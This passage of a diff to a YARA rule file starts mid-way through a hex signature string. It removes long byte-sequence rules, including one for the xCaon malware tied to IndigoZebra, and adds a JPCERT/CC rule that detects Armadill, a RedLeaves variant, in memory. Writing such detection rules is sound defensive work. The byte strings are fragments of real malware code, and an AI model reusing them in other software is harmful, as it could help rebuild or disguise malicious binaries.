d9 0e 00 48 89 05 0e de 3b 00 48 8d 05 bf d9 0e 00 48 89 05 08 de 3b 00 48 8d 05 19 da 0e 00 48 89 05 02 de 3b 00 48 8d 43 10 48 89 84 24 b0 00 00 00 74 05 e8 8f 40 f2 ff 4c 8d ac 24 10 04 00 00 4c 89 ef e8 0f bc 02 00 4c 8d b4 24 30 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a7 5d ff ff 4c 8d ac 24 d0 00 00 00 ba 05 00 00 00 4c 89 f6 4c 89 ef e8 8f 5d ff ff 48 8b bc 24 38 04 00 00 48 8d 43 10 48 89 84 24 30 04 00 00 48 85 ff 74 05 e8 31 40 f2 ff 48 8b bc 24 18 04 00 00 48 8d 43 10 48 89 84 24 10 04 00 00 48 85 ff 74 05 e8 13 40 f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d 7c dd 3b 00 48 89 05 6d dd 3b 00 e8 78 18 02 00 48 8d 05 99 d9 0e 00 48 8b bc 24 d8 00 00 00 c7 05 97 dd 3b 00 01 00 00 00 48 89 05 68 dd 3b 00 48 8d 05 b9 d9 0e 00 48 85 ff 48 89 05 5f dd 3b 00 48 8d 05 e8 d9 0e 00 48 89 05 59 dd 3b 00 48 8d 05 1a da 0e 00 48 89 05 53 dd 3b 00 48 8d 05 84 da 0e 00 48 89 05 4d dd 3b 00 48 8d 43 10 48 89 84 24 d0 00 00 00 74 05 e8 8a 3f f2 ff 4c 8d ac 24 50 04 00 00 4c 89 ef e8 0a bb 02 00 4c 8d b4 24 70 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 a2 5c ff ff 4c 8d ac 24 f0 00 00 00 ba 07 00 00 00 4c 89 f6 4c 89 ef e8 8a 5c ff ff 48 8b bc 24 78 04 00 00 48 8d 43 10 48 89 84 24 70 04 00 00 48 85 ff 74 05 e8 2c 3f f2 ff 48 8b bc 24 58 04 00 00 48 8d 43 10 48 89 84 24 50 04 00 00 48 85 ff 74 05 e8 0e 3f f2 ff 48 8d 43 10 49 8d 75 08 48 8d 3d c7 dc 3b 00 48 89 05 b8 dc 3b 00 e8 73 17 02 00 48 8d 05 0c da 0e 00 48 8b bc 24 f8 00 00 00 c7 05 e2 dc 3b 00 01 00 00 00 48 89 05 b3 dc 3b 00 48 8d 05 34 da 0e 00 48 85 ff 48 89 05 aa dc 3b 00 48 8d 05 6b da 0e 00 48 89 05 a4 dc 3b 00 48 8d 05 a5 da 0e 00 48 89 05 9e dc 3b 00 48 8d 05 1f db 0e 00 48 89 05 98 dc 3b 00 48 8d 43 10 48 89 84 24 f0 00 00 00 74 05 e8 85 3e f2 ff 4c 8d ac 24 90 04 00 00 4c 89 ef e8 05 ba 02 00 4c 8d b4 24 b0 04 00 00 ba 01 00 00 00 4c 89 ee 4c 89 f7 e8 9d 5b ff ff 4c 8d ac 24 10 01 00 00 ba 09 00 00 00 4c 89 f6 4c 89 ef e8 85 5b ff ff 48 8b bc 24 b8 04 00 00 48 8d 43 10 48 89 84 24 b0 04 00 00 48 85 ff 74 05 e8 27 3e f2 ff 48 8b bc 24 98 04 00 00 48 8d 43 10 48 89 84 24 90 04 00 00 48 85 ff 74 05 e8 09 3e f2 ff 48 8d 43 10 49 8d }
-		$seq2 = { 41 56 49 89 fe 41 55 41 89 cd 41 54 45 8d 60 01 55 53 44 89 c3 48 81 ec 98 06 00 00 41 39 cc 89 74 24 10 48 89 54 24 30 0f 84 ab 09 00 00 48 8d 84 24 80 00 00 00 41 8d 70 ff 48 8d ac 24 10 01 00 00 48 89 c7 48 89 44 24 48 e8 0f 89 f6 ff be 01 00 00 00 48 89 ef e8 02 51 f6 ff 4c 8d a4 24 e0 00 00 00 89 de 4c 89 e7 e8 f0 88 f6 ff 48 8d 84 24 b0 00 00 00 48 89 ea 4c 89 e6 48 89 c7 48 89 44 24 20 e8 55 8d f6 ff 48 8d 1d 4e a2 2f 00 49 8d 7c 24 08 4c 8d 7b 10 4c 89 bc 24 e0 00 00 00 e8 48 eb ea ff 48 8d 7d 08 4c 89 bc 24 10 01 00 00 e8 37 eb ea ff 48 8d 84 24 40 01 00 00 41 8d 75 ff 48 89 c7 48 89 44 24 38 e8 8e 88 f6 ff 48 8d 84 24 d0 01 00 00 be 01 00 00 00 48 89 c7 49 89 c7 48 89 44 24 50 e8 71 50 f6 ff 48 8d ac 24 a0 01 00 00 44 89 ee 48 89 ef e8 5e 88 f6 ff 48 8d 84 24 70 01 00 00 4c 89 fa 48 89 ee 48 89 c7 48 89 44 24 40 e8 c3 8c f6 ff 4c 8d 63 10 48 8d 7d 08 48 8d ac 24 00 02 00 00 4c 89 a4 24 a0 01 00 00 e8 b6 ea ea ff 4c 89 ff 4c 89 a4 24 d0 01 00 00 4c 8d a4 24 30 02 00 00 48 83 c7 08 e8 9a ea ea ff 4c 63 7c 24 10 49 8d 46 30 48 89 44 24 18 0f 1f 40 00 e8 b3 7c f6 ff 49 89 c5 e8 ab 75 f6 ff 4c 89 2c 24 4c 8b 6c 24 18 49 89 c1 48 8b 4c 24 20 48 8b 54 24 48 41 b8 01 00 00 00 48 8b 74 24 30 4c 89 ef e8 32 f9 f6 ff 4c 89 fe 48 89 ef e8 b7 4f f6 ff 4c 89 ea 48 89 ee 4c 89 e7 e8 09 d9 f6 ff 48 8b 4c 24 40 48 8b 54 24 38 4d 89 e1 48 8b 74 24 30 4c 89 2c 24 41 b8 01 00 00 00 4c 89 f7 e8 f5 f8 f6 ff 48 8b 94 24 50 02 00 00 48 8b 8c 24 40 02 00 00 41 89 c5 48 39 8c 24 48 02 00 00 48 8d 43 10 48 0f 46 8c 24 48 02 00 00 48 85 d2 48 89 84 24 30 02 00 00 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 40 4f f7 ff 48 8b 94 24 20 02 00 00 48 8b 8c 24 10 02 00 00 48 8d 43 10 48 39 8c 24 18 02 00 00 48 0f 46 8c 24 18 02 00 00 48 89 84 24 00 02 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 fe 4e f7 ff 45 84 ed 0f 84 fd fe ff ff 83 7c 24 10 01 0f 84 bc 04 00 00 48 8d 84 24 e0 03 00 00 4c 8d ac 24 c0 05 00 00 48 89 44 24 10 48 8d 84 24 10 04 00 00 48 89 44 24 08 49 8d 45 08 }
-		$seq3 = { 4c 8d bc 24 00 05 00 00 be 01 00 00 00 4c 89 ff e8 9b 4e f6 ff 4c 8d a4 24 30 05 00 00 4c 89 fa 4c 89 f6 4c 89 e7 e8 05 88 f6 ff 48 8d ac 24 60 05 00 00 48 8b 54 24 18 4c 89 e6 48 89 ef e8 5d d3 f6 ff 48 8d 84 24 90 05 00 00 4c 89 f1 4c 89 ea 48 89 ee 48 89 c7 48 89 44 24 28 e8 ef b9 ff ff 48 8b 74 24 28 49 8d 7e 60 e8 01 59 f6 ff 48 8b 94 24 b0 05 00 00 48 8b 8c 24 a0 05 00 00 48 8d 43 10 48 39 8c 24 a8 05 00 00 48 0f 46 8c 24 a8 05 00 00 48 89 84 24 90 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 ff 4d f7 ff 48 8b 94 24 80 05 00 00 48 8b 8c 24 70 05 00 00 48 8d 43 10 48 39 8c 24 78 05 00 00 48 0f 46 8c 24 78 05 00 00 48 89 84 24 60 05 00 00 48 85 d2 74 10 48 89 d7 31 c0 f3 48 ab 48 89 d7 e8 bd 4d f7 ff 48 8b 94 24 50 05 00 00 48 8b 8c 24 40 05 00 00 48 8d 43 10 48 39 8c 24 48 05 00 00 48 0f 46 8c 24 48 05 00 00 48 89 84 24 30 05 00 00 }
-		$seq4 = { 49 89 ff 41 56 49 89 f6 41 55 41 54 55 53 49 8d 9e c8 01 00 00 48 81 ec f8 05 00 00 48 8d bc 24 d0 00 00 00 e8 e5 52 00 00 48 8d bc 24 00 01 00 00 be 06 0e 5d 00 e8 33 99 ff ff 48 8d b4 24 00 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 bb eb ff ff 48 8b 84 24 00 01 00 00 48 8d b4 24 60 04 00 00 49 8d 9e c0 01 00 00 48 8d 78 e8 e8 9b 10 fd ff 48 8d bc 24 20 01 00 00 be 79 e3 5b 00 e8 e9 98 ff ff 48 8d b4 24 20 01 00 00 48 8d bc 24 d0 00 00 00 48 89 da e8 71 eb ff ff 48 8b 84 24 20 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 58 10 fd ff 48 8d 7c 24 20 4c 89 f6 e8 6b 9d ff ff 48 8d bc 24 40 01 00 00 be 14 e4 5b 00 e8 99 98 ff ff 48 8d 54 24 20 48 8d b4 24 40 01 00 00 48 8d bc 24 d0 00 00 00 e8 1f eb ff ff 48 8b 84 24 40 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 06 10 fd ff 48 8b 44 24 20 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 f0 0f fd ff 48 8d bc 24 60 01 00 00 be 1d e4 5b 00 e8 3e 98 ff ff 48 8d bc 24 c0 00 00 00 e8 41 22 fd ff 48 8d b4 24 c0 00 00 00 48 8d bc 24 60 04 00 00 e8 cc 0f fd ff 48 8d 8c 24 60 04 00 00 48 8d b4 24 60 01 00 00 48 8d bc 24 d0 00 00 00 ba 3f 26 5e 00 e8 fa ce 00 00 48 8d bc 24 60 04 00 00 e8 7d 19 fd ff 48 8d bc 24 c0 00 00 00 e8 70 19 fd ff 48 8b 84 24 60 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 67 0f fd ff 48 8d bc 24 80 01 00 00 be 90 e4 5b 00 e8 b5 97 ff ff 48 8d b4 24 80 01 00 00 48 8d bc 24 d0 00 00 00 ba 48 38 8a 00 e8 3b ea ff ff 48 8b 84 24 80 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 22 0f fd ff 48 8d 94 24 20 04 00 00 48 8d b4 24 00 04 00 00 4c 89 f7 48 c7 84 24 00 04 00 00 78 24 8a 00 48 c7 84 24 20 04 00 00 78 24 8a 00 e8 f2 9c ff ff 48 8d bc 24 a0 01 00 00 be 24 e4 5b 00 e8 40 97 ff ff 48 8d 94 24 00 04 00 00 48 8d b4 24 a0 01 00 00 48 8d bc 24 d0 00 00 00 e8 c3 e9 ff ff 48 8b 84 24 a0 01 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 aa 0e fd ff 48 8d bc 24 c0 01 00 00 be 2d e4 5b 00 e8 f8 96 ff ff 48 8d 94 24 20 04 00 00 48 8d b4 24 c0 01 00 00 48 8d bc 24 d0 00 00 00 e8 7b e9 ff ff 48 8b 84 24 c0 01 00 00 48 8d b4 24 60 04 00 00 48 8d ac 24 e0 03 00 00 48 8d 78 e8 e8 5a 0e fd ff c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 e2 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 }
-		$seq5 = { e8 bb e4 fd ff 48 8d bc 24 40 04 00 00 48 89 84 24 e0 01 00 00 e8 b6 e9 05 00 48 89 c3 48 89 84 24 e8 01 00 00 e8 96 1d fd ff 8b 40 08 48 83 c3 08 be 33 e4 5b 00 48 89 df 89 84 24 f0 01 00 00 e8 7b e9 fd ff 48 8b b4 24 00 04 00 00 48 89 df 48 8b 56 e8 e8 67 e6 fd ff 48 8d bc 24 e0 01 00 00 e8 5a d9 fd ff 48 83 bc 24 40 04 00 00 00 75 8f c7 84 24 e0 03 00 00 00 00 00 00 48 89 ac 24 60 04 00 00 e8 37 e4 fd ff 48 8d 94 24 60 04 00 00 48 8d bc 24 40 04 00 00 48 89 c6 }
-		$seq6 = { 48 8d bc 24 40 04 00 00 48 89 84 24 00 02 00 00 e8 0e e9 05 00 48 89 c3 48 89 84 24 08 02 00 00 e8 ee 1c fd ff 8b 40 08 48 83 c3 08 be 3e e4 5b 00 48 89 df 89 84 24 10 02 00 00 e8 d3 e8 fd ff 48 8b b4 24 20 04 00 00 48 89 df 48 8b 56 e8 e8 bf e5 fd ff 48 8d bc 24 00 02 00 00 e8 b2 d8 fd ff 48 83 bc 24 40 04 00 00 00 75 8f 48 8b 84 24 20 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 ee 0c fd ff 48 8b 84 24 00 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 d5 0c fd ff e8 10 c9 fe ff 84 c0 0f 84 48 02 00 00 48 8d 74 24 1d c6 04 24 00 48 89 ef e8 07 97 00 00 48 8b bc 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 c7 84 24 00 04 00 00 00 00 00 00 48 c7 84 24 08 04 00 00 00 00 00 00 48 c7 84 24 10 04 00 00 00 00 00 00 e8 3e db fe ff 84 c0 0f 84 c9 00 00 00 48 8b 84 24 08 04 00 00 48 2b 84 24 00 04 00 00 48 c1 f8 03 }
-		$seq7 = { 48 83 bc 24 40 04 00 00 00 75 95 48 8d bc 24 00 04 00 00 e8 b0 9e fe ff 48 8b bc 24 e8 03 00 00 48 85 ff 74 05 e8 0e 66 ff ff 48 8d bc 24 f0 00 00 00 e8 81 4d 00 00 48 8d b4 24 f0 00 00 00 4c 89 f7 e8 81 f0 ff ff 48 8d bc 24 40 04 00 00 be 02 e5 5b 00 e8 bf 93 ff ff 48 8d 94 24 f0 00 00 00 48 8d b4 24 40 04 00 00 48 8d bc 24 d0 00 00 00 e8 f2 d1 00 00 48 8b 84 24 40 04 00 00 48 8d b4 24 60 04 00 00 48 8d 78 e8 e8 29 0b fd ff 48 8d bc 24 60 04 00 00 be 18 00 00 00 e8 07 0e fd ff 48 8d bc 24 70 04 00 00 48 8d b4 24 d0 00 00 00 ba 01 00 00 00 e8 5d ad 00 00 48 8d b4 24 78 04 00 00 48 8d bc 24 b0 00 00 00 e8 38 0c fd ff 48 8d 94 24 b0 00 00 00 4c 89 f6 4c 89 ff e8 e5 c6 ff ff 48 8b 84 24 b0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 bc 0a fd ff 48 8d bc 24 60 04 00 00 e8 cf 16 fd ff 48 8d bc 24 f0 00 00 00 e8 52 4d 00 00 48 8d bc 24 d0 00 00 00 e8 45 4d 00 00 48 81 c4 f8 05 00 00 4c 89 f8 5b 5d 41 5c 41 5d }
-		$seq8 = { 4c 8d a4 24 64 05 00 00 66 0f 1f 44 00 00 e8 23 de fd ff 48 8d 94 24 20 04 00 00 48 8d bc 24 a0 03 00 00 48 89 c6 e8 eb df fd ff 48 8b 9c 24 a8 03 00 00 be f7 e4 5b 00 48 8d 7b 08 e8 f5 e2 fd ff 48 8d 7b 70 4c 89 e6 e8 d9 0b fd ff 48 8d bc 24 a0 03 00 00 e8 dc d2 fd ff 48 83 bc 24 20 04 00 00 00 75 a9 48 8d 84 24 c0 03 00 00 be 6c e4 5b 00 48 89 c7 48 89 44 24 08 e8 77 8f ff ff 48 8b 5c 24 08 48 8d 94 24 60 04 00 00 48 8d bc 24 d0 00 00 00 48 89 de e8 7a c8 00 00 48 8b 84 24 c0 03 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 e1 06 fd ff 48 8d b4 24 23 05 00 00 48 8d bc 24 a0 00 00 00 48 89 da e8 29 0d fd ff 48 8d 94 24 a0 03 00 00 48 8d b4 24 60 04 00 00 48 8d bc 24 90 00 00 00 e8 0c 0d fd ff 48 8d bc 24 90 00 00 00 be 90 d6 5c 00 e8 ba 16 fd ff 48 8b 10 48 89 94 24 20 04 00 00 48 c7 00 78 24 8a 00 48 8b 94 24 20 04 00 00 48 8b 84 24 a0 00 00 00 48 8b 4a e8 48 89 ce 48 03 70 e8 48 3b 72 f0 76 0a 48 3b 70 f0 0f 86 b7 08 00 00 48 8d b4 24 a0 00 00 00 48 8d bc 24 20 04 00 00 e8 08 0c fd ff 48 8b 10 be 8d e4 5b 00 48 89 ef 48 89 94 24 40 04 00 00 48 c7 00 78 24 8a 00 e8 89 8e ff ff 48 8d 94 24 40 04 00 00 48 8d bc 24 d0 00 00 00 48 89 ee e8 11 e1 ff ff 48 8b 84 24 e0 03 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 f8 05 fd ff 48 8b 84 24 40 04 00 00 48 8d b4 24 00 04 00 00 48 8d 78 e8 e8 df 05 fd ff 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 c6 05 fd ff 48 8b 84 24 90 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 ad 05 fd ff 48 8b 84 24 a0 00 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 94 05 fd ff 48 8d bc 24 00 04 00 00 be 4c e4 5b 00 e8 e2 8d ff ff 48 8d 94 24 e2 04 00 00 48 8d b4 24 00 04 00 00 48 8d bc 24 d0 00 00 00 e8 e5 c6 00 00 48 8b 84 24 00 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 e8 4c 05 fd ff 48 8d bc 24 20 04 00 00 be 98 e4 5b 00 e8 9a 8d ff ff 48 8d 94 24 64 05 00 00 48 8d b4 24 20 04 00 00 48 8d bc 24 d0 00 00 00 e8 9d c6 00 00 48 8b 84 24 20 04 00 00 48 8d b4 24 40 04 00 00 48 8d 78 e8 }
+		$a1 = { C7 ?? ?? 4C 41 56 45 }
+		$a2 = { C7 ?? ?? 4E 44 45 52 }
 
 	condition:
-		uint32(0)==0x464c457f and filesize >300KB and 7 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_Mal_Xcaon_Jul_2021_1 : FILE
+rule JPCERTCC_Armadill
 {
 	meta:
-		description = "Detect the xCaon malware"
-		author = "Arkbird_SOLG"
-		id = "bcd5a52d-9547-5709-95f4-9d1f956f623c"
-		date = "2021-07-01"
-		modified = "2021-07-02"
-		reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_xCaon_Jul_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "9c3e3d0035596323a505404ecc067bd2b87a4b0ac7499f1c87aac015f59eb65a"
+		description = "detect Armadill(a variant of RedLeaves) in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "0e6fb091-5c26-5419-ac99-5ddc9db29fc0"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L99-L111"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "a76d434469a45e1c48b8ec3dc9622017c78ea52824006ddfcf3c368fbda7c912"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b"
-		hash2 = "e9013f35ce11fc4c5eb2c21827bdc459202d362365d6ea5b724dee4fe0088bd1"
-		hash3 = "489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216"
-		tlp = "White"
-		adversary = "IndigoZebra"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { a1 7c 10 41 00 33 c5 89 45 fc 8b 45 08 56 57 6a 49 89 85 f8 80 ff ff 58 6a 50 66 89 45 c8 58 6a 48 66 89 45 ca 58 6a 4c 66 89 45 cc 58 6a 50 66 89 45 ce 58 6a 41 66 89 45 d0 58 6a 50 66 89 45 d2 58 6a 49 66 89 45 d4 58 6a 2e 66 89 45 d6 58 6a 44 66 89 45 d8 58 66 89 45 da 6a 4c 58 66 89 45 dc 66 89 45 de 33 c0 66 89 45 e0 8d 45 c8 50 c7 45 e4 47 65 74 41 c7 45 e8 64 61 70 74 c7 45 ec 65 72 73 49 c7 45 f0 6e 66 6f 00 ff 15 50 d0 40 00 8d 4d e4 51 50 89 85 f4 80 ff ff ff 15 54 d0 40 00 8d 8d f0 80 ff ff 51 8d 8d fc 80 ff ff 51 c7 85 f0 80 ff ff 90 7e 00 00 ff d0 8b c8 33 c0 c6 45 f4 00 8d 7d f5 ab 66 ab aa 85 c9 0f 85 1d 01 00 00 53 6a 25 5e 6a 30 5a 6a 32 59 8b c6 66 89 45 8c 8b c2 66 89 45 8e 6a 58 8b c1 66 89 45 90 58 8b f8 6a 2d 66 89 7d 92 5f 8b df 66 89 5d 94 8b de 66 89 5d 96 8b da 66 89 5d 98 8b d9 66 89 5d 9a 8b d8 66 89 5d 9c 8b df 66 89 5d 9e 8b de 66 89 5d a0 8b da 66 89 5d a2 8b d9 66 89 5d a4 8b d8 66 89 5d a6 8b df 66 89 5d a8 8b de 66 89 5d aa 8b da 66 89 5d ac 8b d9 66 89 5d ae 8b d8 66 89 5d b0 8b df 66 89 5d b2 8b de 66 89 5d b4 8b da 66 89 5d b6 8b d9 66 89 45 c4 66 89 5d b8 8b d8 33 c0 66 89 45 c6 6a 06 8d 85 90 82 ff ff 50 8d 45 f4 50 66 89 5d ba 66 89 7d bc 66 89 75 be 66 89 55 c0 66 89 4d c2 e8 ?? 17 00 00 0f b6 45 f9 50 0f b6 45 f8 50 0f b6 45 f7 50 0f b6 45 f6 50 0f b6 45 f5 50 0f b6 45 f4 50 8d 45 8c 50 ff b5 f8 80 ff ff ff 15 44 d1 40 00 83 c4 2c 33 f6 46 5b ff b5 f4 80 ff ff ff 15 4c d0 40 00 8b }
-		$s2 = { 6a 5b 58 6a 55 66 89 45 c4 58 6a 70 66 89 45 c6 58 6a 6c 66 89 45 c8 58 6a 6f 66 89 45 ca 58 6a 61 66 89 45 cc 58 6a 64 66 89 45 ce 58 6a 5d 66 89 45 d0 58 6a 0d 66 89 45 d2 58 6a 0a 66 89 45 d4 58 6a 25 66 89 45 d6 33 c0 66 89 45 d8 58 6a 74 66 89 45 ac 8b c6 66 89 45 ae 58 6a 6d 66 89 45 b0 58 6a 70 66 89 45 b2 58 6a 25 66 89 45 b4 58 6a 64 66 89 45 b6 58 6a 2e 66 89 45 b8 58 6a 6c 66 89 45 ba 58 6a 6f 66 89 45 bc 58 6a 67 66 89 45 be 58 6a 46 66 89 45 c0 33 c0 66 89 45 c2 58 6a 69 66 89 45 dc 58 6a 6c 66 89 45 de 58 6a 65 66 89 45 e0 58 6a 3a 66 89 45 e2 58 66 89 45 e4 6a 25 58 66 89 45 e6 6a 0d 58 66 89 45 ea 6a 0a 58 66 89 45 ec 33 c0 66 89 45 ee 8d 45 c4 50 66 89 75 e8 e8 ?? 11 00 00 59 8d 4d c4 8d b5 50 f3 ff ff e8 [2] ff ff 89 bd 4c f2 ff ff c7 85 48 f3 ff ff 0f 00 00 00 89 bd 44 f3 ff ff c6 85 34 f3 ff ff 00 8d 85 34 f3 ff ff 50 83 ec 1c c6 45 fc 03 8d 85 fc f2 ff ff 8b f4 89 a5 50 f2 ff ff 50 e8 [2] ff ff e8 [2] ff ff 8b 9d 34 f3 ff ff 83 c4 20 83 bd 48 f3 ff ff 10 73 06 8d 9d 34 f3 ff ff 8d 85 4c f2 ff ff 50 }
-		$s3 = { 83 c4 10 8d 85 6c fb ff ff 50 68 04 01 00 00 ff 15 2c d0 40 00 33 c0 56 66 89 85 74 fd ff ff 8d 85 76 fd ff ff 53 50 e8 ?? 10 00 00 83 c4 0c ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 6c fb ff ff 50 8d 45 ac 50 8d 85 74 fd ff ff 50 ff d6 83 c4 10 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 74 fd ff ff 50 ff 15 24 d0 40 00 8b f8 83 ff ff 74 79 53 8d 85 50 f2 ff ff 50 ff b5 4c f2 ff ff 89 9d 50 f2 ff ff ff b5 48 f2 ff ff 57 ff 15 14 d0 40 00 57 ff 15 34 d0 40 00 33 c0 68 fe 07 00 00 66 89 85 6c f3 ff ff 8d 85 6e f3 ff ff 53 50 e8 ?? 10 00 00 8d 85 74 fd ff ff 50 8d 45 dc 50 8d 85 6c f3 ff ff 50 ff d6 8d 85 6c f3 ff ff 50 8d 85 18 f3 ff ff 50 8d 8d 50 f3 ff ff e8 [2] ff ff 83 }
-		$s4 = { 8b 45 08 33 ff 89 85 60 f1 ff ff 89 bd 5c f1 ff ff 33 c0 be 06 02 00 00 89 7d fc 56 66 89 85 88 fb ff ff 8d 85 8a fb ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 80 f9 ff ff 8d 85 82 f9 ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee bb 04 01 00 00 53 8d 85 88 fb ff ff 50 8d 45 e0 50 ff 15 00 d0 40 00 8d 85 80 f9 ff ff 50 53 ff 15 2c d0 40 00 6a 25 58 6a 73 5b 6a 63 66 89 45 c0 8b c3 66 89 45 c2 58 6a 63 66 89 45 c4 8b c3 66 89 45 c6 58 6a 6f 66 89 45 c8 58 6a 64 66 89 45 ca 58 6a 65 66 89 45 cc 58 66 89 45 ce 6a 25 58 6a 64 66 89 45 d0 58 6a 2e 66 89 45 d2 58 6a 6c 66 89 45 d4 58 6a 6f 66 89 45 d6 58 6a 67 66 89 45 d8 58 66 89 45 da 33 c0 68 fe 07 00 00 66 89 45 dc 66 89 85 80 f1 ff ff 8d 85 82 f1 ff ff 57 50 e8 [2] 00 00 33 c0 56 66 89 85 90 fd ff ff 8d 85 92 fd ff ff 57 50 e8 [2] 00 00 83 c4 18 6a 25 58 6a 20 66 89 45 98 8b c3 66 89 45 9a 58 6a 2f 8b c8 66 89 4d 9c 59 6a 41 66 89 4d 9e 59 6a 2f 66 89 4d a0 8b c8 66 89 4d a2 59 6a 43 66 89 4d a4 59 66 89 4d a6 6a 22 8b c8 66 89 4d a8 59 6a 25 66 89 4d aa 59 66 89 4d ac 6a 22 8b cb 66 89 4d ae 59 66 89 4d b0 8b c8 6a 3e 66 89 4d b2 59 66 89 45 b6 6a 25 58 66 89 45 b8 33 c0 66 89 4d b4 66 89 5d ba 66 89 45 bc ff 15 30 d0 40 00 8b 35 44 d1 40 00 50 8d 85 80 f9 ff ff 50 8d 45 c0 50 8d 85 90 fd ff ff 50 ff d6 8b 45 0c 83 c4 10 83 7d 20 08 73 03 8d 45 0c 8d 8d 90 fd ff ff 51 50 8d 85 88 fb ff ff 50 8d 45 98 50 8d 85 80 f1 ff ff 50 ff d6 6a 44 5e 56 8d 85 04 f1 ff ff 57 50 e8 [2] 00 00 6a 10 8d 85 48 f1 ff ff 57 50 89 b5 04 f1 ff ff e8 [2] 00 00 83 c4 2c 8d 85 04 f1 ff ff 50 ff 15 28 d0 40 00 33 c0 66 89 85 34 f1 ff ff 8d 85 48 f1 ff ff 50 8d 85 04 f1 ff ff 50 57 57 6a 10 57 57 57 8d 85 80 f1 ff ff 33 db 50 43 57 89 9d 30 f1 ff ff ff 15 08 d0 40 00 68 3f 77 1b 00 ff b5 48 f1 ff ff 8b f0 ff 15 0c d0 40 00 3b f7 0f 84 1c 01 00 00 ff b5 4c f1 ff ff 8b 35 34 d0 40 00 ff d6 ff b5 48 f1 ff ff ff d6 33 c0 c7 85 78 f1 ff ff 07 00 00 00 89 bd 74 f1 ff ff 66 89 85 64 f1 ff ff 57 57 6a 03 57 57 68 00 00 00 80 8d 85 90 fd ff ff 50 88 5d fc ff 15 24 d0 40 00 89 85 5c f1 ff ff 83 f8 ff 0f 84 96 00 00 00 57 50 ff 15 04 d0 40 00 89 85 58 f1 ff ff 83 f8 ff 75 2b ff b5 5c f1 ff ff ff d6 8b 85 60 f1 ff ff 68 64 f1 40 00 e8 f1 00 00 00 53 33 ff 8d b5 64 f1 ff ff e8 64 03 00 00 e9 95 00 00 00 83 c0 02 50 e8 [2] 00 00 8b d8 8b 85 58 f1 ff ff 83 c0 02 50 57 53 e8 [2] 00 00 83 c4 10 57 8d 85 58 f1 ff ff 50 ff b5 58 f1 ff ff 53 ff b5 5c f1 ff ff ff 15 20 d0 40 00 ff b5 5c f1 ff ff ff d6 8d 85 64 f1 ff ff 50 53 e8 d9 11 00 00 53 e8 [2] 00 00 83 c4 0c 8d 85 90 fd ff ff 50 ff 15 38 d0 40 00 8b b5 60 f1 ff ff 8d 9d 64 f1 ff ff e8 96 00 00 00 6a 01 33 ff 8b }
-		$s5 = { be 06 02 00 00 89 ?? fc 56 66 89 85 ?? fb ff ff 8d 85 ?? fb ff ff ?? 50 e8 [2] 00 00 33 c0 56 66 89 85 ?? f9 ff ff 8d 85 ?? f9 ff ff ?? 50 e8 [2] 00 00 83 c4 18 6a 43 58 6a 6f 66 89 45 e0 58 6a 6d 66 89 45 e2 58 6a 53 66 89 45 e4 58 6a 70 66 89 45 e6 58 6a 65 66 89 45 e8 58 6a 63 66 89 45 ea 58 66 89 45 ec 33 c0 66 89 45 ee ?? 04 01 00 00 ?? 8d 85 ?? fb ff ff 50 8d 45 e0 50 ff 15 00 [2] 00 8d 85 ?? f9 ff ff 50 ?? ff 15 [3] 00 }
